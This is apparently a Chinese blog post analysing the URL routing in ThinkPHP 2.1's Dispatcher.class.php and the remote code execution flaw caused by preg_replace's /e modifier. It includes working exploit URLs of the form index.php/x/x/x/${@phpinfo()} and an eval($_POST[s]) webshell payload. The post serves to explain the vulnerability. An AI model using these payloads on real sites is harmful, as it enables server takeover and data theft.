thinkphp 2.1代码执行及路由分析
Dispatcher.class.php这个文件中是url路由,由于第一次正式看路由那块,所以就从头开始一行一行看把。
首先是dispatch函数
是37行到140行
这个函数是做映射用,把url映射到控制器对我们来说算是最重要的一块
        $urlMode  =  C('URL_MODEL');
        if($urlMode == URL_REWRITE ) {
            //当前项目地址
            $url    =   dirname(_PHP_FILE_);
            if($url == '/' || $url == '\\')
                $url    =   '';
            define('PHP_FILE',$url);
        }elseif($urlMode == URL_COMPAT){
            define('PHP_FILE',_PHP_FILE_.'?'.C('VAR_PATHINFO').'=');
        }else {
            //当前项目地址
            define('PHP_FILE',_PHP_FILE_);
一开始就调用了一个名叫C的函数
    function C($name=null, $value=null) {
    static $_config = array();
    // 无参数时获取所有
    if (empty($name))
        return $_config;
    // 优先执行设置获取或赋值
    if (is_string($name)) {
        if (!strpos($name, '.')) {
            $name = strtolower($name);
            if (is_null($value))
                return isset($_config[$name]) ? $_config[$name] : null;
            $_config[$name] = $value;
            return;
        }
        // 二维数组设置和获取支持
        $name = explode('.', $name);
        $name[0] = strtolower($name[0]);
        if (is_null($value))
            return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : null;
        $_config[$name[0]][$name[1]] = $value;
        return;
    }
    // 批量设置
    if (is_array($name))
        return $_config = array_merge($_config, array_change_key_case($name));
    return null; // 避免非法参数
}
可以看出这是一个对传入参数进行获取处理以及过滤的函数
而URL_MODEL是一个常量表示url的四种模式
     'URL_MODEL'      => 1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式,提供最好的用户体验和SEO支持
根据模式的不同url格式也有不同。这里到没有什么太多可说的。接下来是一长串对二级域名进行处理的,也先跳过。
         if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }
        // 获取分组 模块和操作名称
        if (C('APP_GROUP_LIST'))
        {
            define('GROUP_NAME', self::getGroup(C('VAR_GROUP')));
            // 加载分组配置文件
            if(is_file(CONFIG_PATH.GROUP_NAME.'/config.php'))
                C(include CONFIG_PATH.GROUP_NAME.'/config.php');
            // 加载分组函数文件
            if(is_file(COMMON_PATH.GROUP_NAME.'/function.php'))
                include COMMON_PATH.GROUP_NAME.'/function.php';
        }
        define('MODULE_NAME',self::getModule(C('VAR_MODULE')));
        define('ACTION_NAME',self::getAction(C('VAR_ACTION')));
        // URL常量
        // 当前页面地址
        //define('__SELF__',$_SERVER['PHP_SELF']);
        define('__SELF__',$_SERVER['REQUEST_URI']);
        define('__INFO__',$_SERVER['PATH_INFO']);
        // 当前项目地址
        define('__APP__',PHP_FILE);
        // 当前模块和分组地址
        $module = defined('P_MODULE_NAME')?P_MODULE_NAME:MODULE_NAME;
        if(defined('GROUP_NAME')) {
            $group   = C('URL_CASE_INSENSITIVE') ?strtolower(GROUP_NAME):GROUP_NAME;
            define('__GROUP__',(!empty($domainGroup) || GROUP_NAME == C('DEFAULT_GROUP') )?__APP__ : __APP__.'/'.$group);
            define('__URL__',!empty($domainModule)?__GROUP__.$depr : __GROUP__.$depr.$module);
        }else{
            define('__URL__',!empty($domainModule)?__APP__.'/' : __APP__.'/'.$module);
        }
        // 当前操作地址
        define('__ACTION__',__URL__.$depr.ACTION_NAME);
        //保证$_REQUEST正常取值
        $_REQUEST = array_merge($_POST,$_GET);
    }
路由控制这块重点应该是这串代码,所以重点看下。
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
这一段代码是对分组进行处理首先判断是否有分组,默认是否能从分组获取变量。$paths=explode($depr,trim($_SERVER['PATH_INFO'],'/'));$_SERVER['PATH_INFO']是返回用户查询语句查询的真实脚本后面的url真实路径
比如http://127.0.0.1/1/url.php/test/test/1.php?test=123这种格式会返回url.php后面的路径也就是/test/test/1.php。
而之前 $depr = C('URL_PATHINFO_DEPR'); C('URL_PATHINFO_DEPR')是PATHINFO模式下的分割符号。
所以这段代码本地测试了一下经过exlode处理后上面那段url的返回值是
Array ([0] => [1] => test [2] => test [3] => 1.php)
array_shift是去除数组的开头单元。那么$var最后的值是去除了[0]这单元的数组或者为空。
     $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
这一段就是thinkphp2.1命令执行的问题所在了,看看这段代码到底做了什么。
这里其实是因为preg_replace \e修饰符的问题,这个修饰符会把第二个参数当成php代码执行。简单结合上面的语句来说就是$var['\1']="\2";它把这个当成了一个回调函数,而1和2是implode($depr,$paths)执行结果来代替。
本地写语句测试了一下
    <?php
    $depr='/';
    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
    $var=array();
    $res= preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";', implode($depr,$paths));
    print_r($var);
    ?>
当输入http://127.0.0.1/1/test/test/preg_replace.php/module/%7B@phpinfo()%7D
这种url时会打印出Array ( [module] => {@phpinfo()} )
很显然是把脚本后面的url路径直接动态赋值给数组。然而刚刚说的\e这个修饰符把这个参数当成了php代码执行。而且"\2"这里还是用的双引号,双引号中php的特殊字符是可以被解析的。这就导致了任意代码执行。
当输入http://127.0.0.1/1/test/test/preg_replace.php/1/${@phpinfo()}时就会执行phpinfo()
然后我本地做了一个测试
    <?php
    $a=array(0=>"${@phpinfo()};",1=>'b',2=>'c');
    print_r($a);
?>
这样写phpinfo()是可以执行成功的。然后把中间的代码改成了
$a=array(0=>"${@eval($_POST[s])};",1=>'b',2=>'c')。
仔细想想其实因为数组赋值的问题,你用$标识一个变量之后,他是把变量的值赋给0所以就会导致执行。
而这个漏洞的利用格式为什么必须是index.php/xxx/xxx/xxx/${@phpinfo()}
是因为这里还是在这个文件,214到224行
     foreach ($routes as $key=>$route){
                if(0 === stripos($regx.$depr,$route[0].$depr)) {
                    // 简单路由定义:array('路由定义','分组/模块/操作名', '路由对应变量','额外参数'),
                    $var  =  self::parseUrl($route[1]);
                    //  获取当前路由参数对应的变量
                    $paths = explode($depr,trim(str_ireplace($route[0].$depr,$depr,$regx),$depr));
                    $vars    =   explode(',',$route[2]);
                    for($i=0;$i<count($vars);$i++)
                        $var[$vars[$i]]     =   array_shift($paths);
                    // 解析剩余的URL参数
                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
thinkphp路由的格式是分组/模块/操作名/参数。而参数是被带入执行的。以这种格式传入的会执行命令。
thinkphp 2.1代码执行及路由分析的更多相关文章
- ECShop全系列版本远程代码执行高危漏洞分析+实战提权
		
漏洞概述 ECShop的user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.攻击者无需登录站点等操作,可以直接远程写入webshell,危害严重. 漏洞评级 ...
 - Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析
		
Apache Log4j 漏洞分析 仅用于研究漏洞原理,禁止用于非法用途,后果自负!!! CVE-2019-17571 漏洞描述 Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开 ...
 - ThinkPHP5代码执行的简单分析
		
漏洞影响版本: ThinkPHP 5.0.5-5.0.22 ThinkPHP 5.1.0-5.1.30 漏洞复现: 一.mac的debug环境搭建. 一键化环境搭建工具: mamp pro ,调试工具 ...
 - Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析
		
本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ...
 - thinkphp 5.0 代码执行漏洞
		
https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce docker-compose -f /home/root/compose.yml ...
 - thinkphp5.0.22远程代码执行漏洞分析及复现
		
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
 - Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析
		
0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...
 - 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
		
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
 - PHP代码审计笔记--代码执行漏洞
		
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞. 常见代码注射函数: 如:eval.preg_replace+/e.assert.call_user_func. ...
 
随机推荐
- nginx日志输出参数记录
			
摘自: http://www.cnblogs.com/LoveJulin/p/5082363.html nginx服务器日志相关指令主要有两条,一条是log_format,用来设置日志格式,另外一条是 ...
 - [干货]兼容HTML5的Placeholder属性-更新版v0.10102013
			
HTML5对Web Form做了许多增强,比如input新增的type类型.Form Validation等.Placeholder是HTML5新增的另一个属性,当input或者textarea设置了 ...
 - BZOJ 1198 [HNOI2006]军机调度:dfs
			
题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=1198 题意: 有n个雇佣军,m个任务. 第i个雇佣军能够参加cnt个任务,分别为temp[ ...
 - 分享知识-快乐自己:Hibernate 关联映射
			
关联关系映射--概念: 关联关系是使用最多的一种关系,非常重要.在内存中反映为实体关系,映射到DB中为主外键关系. 实体间的关联,即对外键的维护.关联关系的发生,即对外键数据的改变. 外键:外面的主键 ...
 - Linux_服务器_03_xxx is not in the sudoers file.This incident will be reported.的解决方法
			
1.切换到root用户下,怎么切换就不用说了吧,不会的自己百度去. 2.添加sudo文件的写权限,命令是:chmod u+w /etc/sudoers 3.编辑sudoers文件vi /etc/sud ...
 - hdu-5813 Elegant Construction(贪心)
			
题目链接: Elegant Construction Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (J ...
 - Unity-2017.3官方实例教程Space-Shooter(一)
			
由于初学Unity,写下此文作为笔记,文中难免会有疏漏,不当之处还望指正. Unity-2017.3官方实例教程Space-Shooter(二) 章节列表: 一.从Asset Store中下载资源并导 ...
 - bzoj 4104 解密运算 —— 思路
			
题目:https://www.lydsy.com/JudgeOnline/problem.php?id=4104 一开始发现了给出的顺序是按这些末尾字符后面的后缀排序得到的: 然后发现可以一个一个把字 ...
 - shell 统计词频脚本
			
#!/bin/bash if [ $# -ne 1 ]; then echo "Usage:$0 filename"; exit -1 fi filename=$1 egrep - ...
 - MODBUS ASCII和RTU两种模式的区别、优缺点
			
转自:http://blog.sina.com.cn/s/blog_89f286ad0102uzju.html 下表是MODBUS ASCII协议和RTU协议的比较: 协议 开始标记 结束标记 校验 ...